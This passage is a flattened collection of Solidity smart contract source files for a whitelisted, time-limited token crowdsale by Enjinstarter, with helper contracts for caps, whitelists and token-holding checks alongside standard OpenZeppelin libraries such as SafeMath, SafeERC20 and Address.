governanceAccount = account;
}
function setCrowdsaleAdmin(address account)
external
override
onlyBy(governanceAccount)
{
require(account != address(0), "FinaCrowdsale: zero account");
crowdsaleAdmin = account;
}
/**
* @param beneficiary Address receiving the tokens
* @return lotSize_ lot size of token being sold
*/
function _lotSize(address beneficiary)
internal
view
override
returns (uint256 lotSize_)
{
lotSize_ = getBeneficiaryCap(beneficiary);
}
/**
* @dev Override to extend the way in which payment token is converted to tokens.
* @param lots Number of lots of token being sold
* @param beneficiary Address receiving the tokens
* @return tokenAmount Number of tokens that will be purchased
*/
function _getTokenAmount(uint256 lots, address beneficiary)
internal
view
override
returns (uint256 tokenAmount)
{
tokenAmount = lots.mul(_lotSize(beneficiary));
}
/**
* @param beneficiary Token beneficiary
* @param paymentToken ERC20 payment token address
* @param weiAmount Amount of wei contributed
* @param tokenAmount Number of tokens to be purchased
*/
function _preValidatePurchase(
address beneficiary,
address paymentToken,
uint256 weiAmount,
uint256 tokenAmount
)
internal
view
override
whenNotPaused
onlyWhileOpen
tokenCapNotExceeded(tokensSold, tokenAmount)
holdsSufficientTokens(beneficiary)
isWhitelisted(beneficiary)
{
// TODO: Investigate why modifier and require() don't work consistently for beneficiaryCapNotExceeded()
if (
getTokensPurchasedBy(beneficiary).add(tokenAmount) >
getBeneficiaryCap(beneficiary)
) {
revert("FinaCrowdsale: beneficiary cap exceeded");
}
super._preValidatePurchase(
beneficiary,
paymentToken,
weiAmount,
tokenAmount
);
}
/**
* @dev Extend parent behavior to update purchased amount of tokens by beneficiary.
* @param beneficiary Token purchaser
* @param paymentToken ERC20 payment token address
* @param weiAmount Amount in wei of ERC20 payment token
* @param tokenAmount Number of tokens to be purchased
*/
function _updatePurchasingState(
address beneficiary,
address paymentToken,
uint256 weiAmount,
uint256 tokenAmount
) internal override {
super._updatePurchasingState(
beneficiary,
paymentToken,
weiAmount,
tokenAmount
);
_updateBeneficiaryTokensPurchased(beneficiary, tokenAmount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: Apache-2.0
// Copyright 2021 Enjinstarter
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/math/SafeMath.sol";
/**
* @title CappedTokenSoldCrowdsaleHelper
* @author Enjinstarter
* @dev Helper for crowdsale with a limit for total tokens sold.
*/
contract CappedTokenSoldCrowdsaleHelper {
using SafeMath for uint256;
uint256 private _tokenCap;
/**
* @param tokenCap_ Max amount of tokens to be sold
*/
constructor(uint256 tokenCap_) {
require(tokenCap_ > 0, "CappedTokenSoldHelper: zero cap");
_tokenCap = tokenCap_;
}
modifier tokenCapNotExceeded(uint256 tokensSold, uint256 tokenAmount) {
require(
tokensSold.add(tokenAmount) <= _tokenCap,
"CappedTokenSoldHelper: cap exceeded"
);
_;
}
/**
* @return tokenCap_ the token cap of the crowdsale.
*/
function tokenCap() public view returns (uint256 tokenCap_) {
tokenCap_ = _tokenCap;
}
/**
* @dev Checks whether the token cap has been reached.
* @return tokenCapReached_ Whether the token cap was reached
*/
function tokenCapReached(uint256 tokensSold)
external
view
returns (bool tokenCapReached_)
{
tokenCapReached_ = (tokensSold >= _tokenCap);
}
}
// SPDX-License-Identifier: Apache-2.0
// Copyright 2021 Enjinstarter
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./interfaces/IFinaWhitelist.sol";
/**
* @title FinaWhitelistCrowdsaleHelper
* @author Enjinstarter
* @dev Helper for crowdsale in which only whitelisted users can contribute.
*/
contract FinaWhitelistCrowdsaleHelper {
using SafeMath for uint256;
address public whitelistContract;
mapping(address => uint256) private _tokensPurchased;
/**
* @param whitelistContract_ whitelist contract address
*/
constructor(address whitelistContract_) {
require(
whitelistContract_ != address(0),
"FinaWhitelistCrowdsaleHelper: zero whitelist address"
);
whitelistContract = whitelistContract_;
}
// TODO: Investigate why modifier and require() don't work consistently for beneficiaryCapNotExceeded()
/*
modifier beneficiaryCapNotExceeded(
address beneficiary,
uint256 tokenAmount
) {
require(
_tokensPurchased[beneficiary].add(tokenAmount) <=
IFinaWhitelist(whitelistContract).whitelistedAmountFor(
beneficiary
),
"FinaWhitelistCrowdsaleHelper: beneficiary cap exceeded"
);
_;
}
*/
modifier isWhitelisted(address account) {
require(
IFinaWhitelist(whitelistContract).isWhitelisted(account),
"FinaWhitelistCrowdsaleHelper: account not whitelisted"
);
_;
}
/**
* @return tokenCap Cap for beneficiary in wei
*/
function getBeneficiaryCap(address beneficiary)
public
view
returns (uint256 tokenCap)
{
require(
beneficiary != address(0),
"FinaWhitelistCrowdsaleHelper: zero beneficiary address"
);
tokenCap = IFinaWhitelist(whitelistContract).whitelistedAmountFor(
beneficiary
);
}
/**
* @dev Returns the amount of tokens purchased so far by specific beneficiary.
* @param beneficiary Address of contributor
* @return tokensPurchased Tokens purchased by beneficiary so far in wei
*/
function getTokensPurchasedBy(address beneficiary)
public
view
returns (uint256 tokensPurchased)
{
require(
beneficiary != address(0),
"FinaWhitelistCrowdsaleHelper: zero beneficiary address"
);
tokensPurchased = _tokensPurchased[beneficiary];
}
function whitelisted(address account)
public
view
returns (bool whitelisted_)
{
require(
account != address(0),
"FinaWhitelistCrowdsaleHelper: zero account"
);
whitelisted_ = IFinaWhitelist(whitelistContract).isWhitelisted(account);
}
/**
* @param beneficiary Address of contributor
* @param tokenAmount Amount in wei of token being purchased
*/
function _updateBeneficiaryTokensPurchased(
address beneficiary,
uint256 tokenAmount
) internal {
_tokensPurchased[beneficiary] = _tokensPurchased[beneficiary].add(
tokenAmount
);
}
/**
* @return availableTokens Available number of tokens for purchase by beneficiary
*/
function _getAvailableTokensFor(address beneficiary)
internal
view
returns (uint256 availableTokens)
{
availableTokens = getBeneficiaryCap(beneficiary).sub(
getTokensPurchasedBy(beneficiary)
);
}
}
// SPDX-License-Identifier: Apache-2.0
// Copyright 2021 Enjinstarter
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
/**
* @title HoldErc20TokenCrowdsaleHelper
* @author Enjinstarter
* @dev Helper for crowdsale where only wallets with specified amount of ERC20 token can contribute.
*/
contract HoldErc20TokenCrowdsaleHelper {
using SafeERC20 for IERC20;
address public tokenHoldContract;
uint256 public minTokenHoldAmount;
/**
* @param tokenHoldContract_ ERC20 token contract address
* @param minTokenHoldAmount_ minimum amount of token required to hold
*/
constructor(address tokenHoldContract_, uint256 minTokenHoldAmount_) {
require(
tokenHoldContract_ != address(0),
"HoldErc20TokenCrowdsaleHelper: zero token hold address"
);
require(
minTokenHoldAmount_ > 0,
"HoldErc20TokenCrowdsaleHelper: zero min token hold amount"
);
tokenHoldContract = tokenHoldContract_;
minTokenHoldAmount = minTokenHoldAmount_;
}
modifier holdsSufficientTokens(address account) {
require(
IERC20(tokenHoldContract).balanceOf(account) >= minTokenHoldAmount,
"HoldErc20TokenCrowdsaleHelper: account hold less than min"
);
_;
}
}
// SPDX-License-Identifier: Apache-2.0
// Copyright 2021 Enjinstarter
pragma solidity ^0.7.6;
import "./Crowdsale.sol";
/**
* @title NoDeliveryCrowdsale
* @author Enjinstarter
* @dev Extension of Crowdsale contract where purchased tokens are not delivered.
*/
abstract contract NoDeliveryCrowdsale is Crowdsale {
/**
* @dev Overrides delivery by not delivering tokens upon purchase.
*/
function _deliverTokens(address, uint256) internal pure override {
return;
}
}
// SPDX-License-Identifier: Apache-2.0
// Copyright 2021 Enjinstarter
pragma solidity ^0.7.6;
pragma abicoder v2; // solhint-disable-line
import "@openzeppelin/contracts/math/SafeMath.sol";
/**
* @title TimedCrowdsaleHelper
* @author Enjinstarter
* @dev Helper for crowdsale accepting contributions only within a time frame.
*/
contract TimedCrowdsaleHelper {
using SafeMath for uint256;
struct Timeframe {
uint256 openingTime;
uint256 closingTime;
}
Timeframe private _timeframe;
/**
* Event for crowdsale extending
* @param prevClosingTime old closing time
* @param newClosingTime new closing time
*/
event TimedCrowdsaleExtended(
uint256 prevClosingTime,
uint256 newClosingTime
);
/**
* @dev Reverts if not in crowdsale time range.
*/
modifier onlyWhileOpen() {
require(isOpen(), "TimedCrowdsaleHelper: not open");
_;
}
/**
* @dev Constructor, takes crowdsale opening and closing times.
* @param timeframe Crowdsale opening and closing times
*/
constructor(Timeframe memory timeframe) {
require(
timeframe.openingTime >= block.timestamp,
"TimedCrowdsaleHelper: opening time is before current time"
);
require(
timeframe.closingTime > timeframe.openingTime,
"TimedCrowdsaleHelper: closing time is before opening time"
);
_timeframe.openingTime = timeframe.openingTime;
_timeframe.closingTime = timeframe.closingTime;
}
/**
* @return the crowdsale opening time.
*/
function openingTime() external view returns (uint256) {
return _timeframe.openingTime;
}
/**
* @return the crowdsale closing time.
*/
function closingTime() public view returns (uint256) {
return _timeframe.closingTime;
}
/**
* @return true if the crowdsale is open, false otherwise.
*/
function isOpen() public view returns (bool) {
return
block.timestamp >= _timeframe.openingTime &&
block.timestamp <= _timeframe.closingTime;
}
/**
* @dev Checks whether the period in which the crowdsale is open has already elapsed.
* @return Whether crowdsale period has elapsed
*/
function hasClosed() public view returns (bool) {
return block.timestamp > _timeframe.closingTime;
}
/**
* @dev Extend crowdsale.
* @param newClosingTime Crowdsale closing time
*/
// https://github.com/crytic/slither/wiki/Detector-Documentation#dead-code
// slither-disable-next-line dead-code
function _extendTime(uint256 newClosingTime) internal {
require(!hasClosed(), "TimedCrowdsaleHelper: already closed");
uint256 oldClosingTime = _timeframe.closingTime;
require(
newClosingTime > oldClosingTime,
"TimedCrowdsaleHelper: before current closing time"
);
_timeframe.closingTime = newClosingTime;
emit TimedCrowdsaleExtended(oldClosingTime, newClosingTime);
}
}
// SPDX-License-Identifier: Apache-2.0
// Copyright 2021 Enjinstarter
pragma solidity ^0.7.6;
import "./ICrowdsale.sol";
/**
* @title IFinaCrowdsale
* @author Enjinstarter
*/
interface IFinaCrowdsale is ICrowdsale {
function getAvailableLotsFor(address beneficiary)
external
view
returns (uint256 availableLots);
function getRemainingTokens()
external
view
returns (uint256 remainingTokens);
function pause() external;
function unpause() external;
function extendTime(uint256 newClosingTime) external;
function setGovernanceAccount(address account) external;
function setCrowdsaleAdmin(address account) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: Apache-2.0
// Copyright 2021 Enjinstarter
pragma solidity ^0.7.6;
/**
* @title IFinaWhitelist
* @author Enjinstarter
*/
interface IFinaWhitelist {
function addWhitelisted(address account, uint256 amount) external;
function removeWhitelisted(address account) external;
function addWhitelistedBatch(
address[] memory accounts,
uint256[] memory amounts
) external;
function removeWhitelistedBatch(address[] memory accounts) external;
function setGovernanceAccount(address account) external;
function setWhitelistAdmin(address account) external;
function isWhitelisted(address account)
external
view
returns (bool isWhitelisted_);
function whitelistedAmountFor(address account)
external
view
returns (uint256 whitelistedAmount);
event WhitelistedAdded(address indexed account, uint256 amount);
event WhitelistedRemoved(address indexed account);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: Apache-2.0
// Copyright 2021 Enjinstarter
pragma solidity ^0.7.6;
pragma abicoder v2; // solhint-disable-line
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Pausable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "./interfaces/ICrowdsale.sol";
/**
* @title Crowdsale
* @author Enjinstarter
* @dev Crowdsale is a base contract for managing a token crowdsale,
* allowing investors to purchase tokens with ERC20 tokens. This contract implements
* such functionality in its most fundamental form and can be extended to provide additional
* functionality and/or custom behavior.
* The external interface represents the basic interface for purchasing tokens, and conforms
* the base architecture for crowdsales. It is *not* intended to be modified / overridden.
* The internal interface conforms the extensible and modifiable surface of crowdsales. Override
* the methods to add functionality. Consider using 'super' where appropriate to concatenate
* behavior.
*/
contract Crowdsale is ReentrancyGuard, ICrowdsale {
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint256 public constant MAX_NUM_PAYMENT_TOKENS = 10;
uint256 public constant TOKEN_MAX_DECIMALS = 18;
uint256 public constant TOKEN_SELLING_SCALE = 10**TOKEN_MAX_DECIMALS;
// Amount of tokens sold
uint256 public tokensSold;
// The token being sold
// https://github.com/crytic/slither/wiki/Detector-Documentation#variable-names-are-too-similar
// slither-disable-next-line similar-names
address private _tokenSelling;
// Lot size and maximum number of lots for token being sold
LotsInfo private _lotsInfo;
// Payment tokens
// https://github.com/crytic/slither/wiki/Detector-Documentation#variable-names-are-too-similar
// slither-disable-next-line similar-names
address[] private _paymentTokens;
// Payment token decimals
// https://github.com/crytic/slither/wiki/Detector-Documentation#variable-names-are-too-similar
// slither-disable-next-line similar-names
mapping(address => uint256) private _paymentDecimals;
// Indicates whether ERC20 token is acceptable for payment
mapping(address => bool) private _isPaymentTokens;
// Address where funds are collected
address private _wallet;
// How many weis one token costs for each ERC20 payment token
mapping(address => uint256) private _rates;
// Amount of wei raised for each payment token
mapping(address => uint256) private _weiRaised;
/**
* @dev Rates will denote how many weis one token costs for each ERC20 payment token.
* For USDC or USDT payment token which has 6 decimals, minimum rate will
* be 1000000000000 which will correspond to a price of USD0.000001 per token.
* @param wallet_ Address where collected funds will be forwarded to
* @param tokenSelling_ Address of the token being sold
* @param lotsInfo Lot size and maximum number of lots for token being sold
